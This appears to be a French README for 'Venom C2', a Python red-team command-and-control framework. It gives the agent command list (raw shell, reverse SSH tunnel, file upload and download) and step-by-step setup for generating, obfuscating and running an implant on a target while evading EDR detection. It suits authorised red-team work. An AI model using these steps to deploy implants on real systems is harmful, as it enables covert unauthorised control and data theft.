
Venom C2 est un framework de commande et de contrôle (C2) en Python3 sans dépendances, conçu pour la persistance des équipes rouges.

Venom C2 est un framework de commande et contrôle (C2) en Python3 sans dépendances, conçu pour la persistance des équipes rouges, et fonctionnant sur des systèmes sans installation de paquets. Il comprend un serveur d'équipe Flask, une interface graphique opérateur Electron et un agent Python en un seul fichier qui communique via HTTP/HTTPS en utilisant des messages JSON chiffrés avec AES configurables. Utilisez‑le pour exécuter des commandes, gérer des fichiers, maintenir l'accès et créer des tunnels inversés SSH depuis les systèmes compromis.
Lors de l'escalade de privilèges réseau, nous avons atterri sur de nombreux systèmes de production exécutant des distributions et architectures exotiques. Nous voulions mettre en place une persistance, mais notre arsenal d'outils et de techniques ne fonctionnait pas. De plus, certains systèmes cibles exécutaient un EDR.
Il s'agissait de systèmes de production, donc nous ne voulions pas installer de paquets. Nous avions besoin d'un agent C2 qui fonctionnerait sans dépendances. Les systèmes avaient Python3 installé, j'ai donc créé Venom C2 en cours d'engagement ; un agent C2 Python3 sans dépendances qui fonctionne tout simplement.
Nous ne voulions pas utiliser d'agents C2 prêts à l'emploi en raison du risque qu'ils pourraient entraîner une détection par l'équipe bleue. Un code unique est roi pour contourner les EDR modernes
Comme il y avait de nombreux systèmes, nous avons automatisé l'obfuscation unique, le nommage, le placement dans le système de fichiers, différents domaines de rappel réseau et des chemins de requête réseau uniques par agent.

Je l'ai nommé Venom car mon fils adore le méchant Venom de Spider‑Man. De plus, python est un serpent et les serpents cool ont du venin, donc cela semblait bien convenir.
Il n'y en a pas.
C'était juste un projet C2 ponctuel que j'ai réalisé en cours d'engagement. Il a fallu environ 2 jours de développement pour le rendre stable et fiable dans l'environnement cible. Il a fait son travail, nous a donné une persistance dans le réseau pour les 6 semaines restantes de l'engagement. Je n'ai pas l'intention de continuer à développer ou à utiliser ce projet, donc j'ai pensé que c'était un bon candidat pour le publier publiquement.
Sinon, il serait simplement perdu dans le devNULL...


[11-04-2025 11:31 AM MST] admin help
help : Display this help menu
ls : List directory contents
pwd : Show current working directory
cd : Change directory
cat : Display file contents
mv : Move/rename files or directories
cp : Copy files or directories
mkdir : Create directory
rmdir : Remove empty directory
write : Write content to file
chmod : Change file permissions
rm : Remove (delete) files
shell : Execute raw shell command
sleep : Make agent sleep with optional jitter
sshrev : Create reverse SSH tunnel
kill : Terminate agent process
upload : Upload a file from your local operator box to the remote agent box
download : Download a file from remote agent box to local operator box
git clone https://github.com/boku7/venom
cd venom
pip3 install -r server/requirements.txt
cd server
python3 server.py --help
python3 server.py
python3 server.py --adduser <USERNAME> <PASSWORD>Exécutez l'interface client sur votre poste de travail (pas sur le serveur). Il doit pouvoir atteindre le serveur.
cd ../client
npm install
npm run start
Ouvrez le client, allez dans Config, et saisissez les identifiants du serveur.
Le chemin de base de l'API client du serveur est /api/. N'exposez pas /api/ sur Internet public. Utilisez un VPN ou des règles strictes de pare‑feu/proxy inverse afin que seuls les clients de confiance puissent y accéder.
Depuis le répertoire server :
python3 agent_create.py -H <server_host> -P <server_port> [-http]
Depuis le répertoire server :
python3 agent_obfuscate.py agents/<generated_agent_file>.py
À exécuter sur l'ordinateur cible que vous souhaitez contrôler.
python3 /Users/bobby/venom/server/obfuscate/output/obfuscated_agent_20251104_110902.py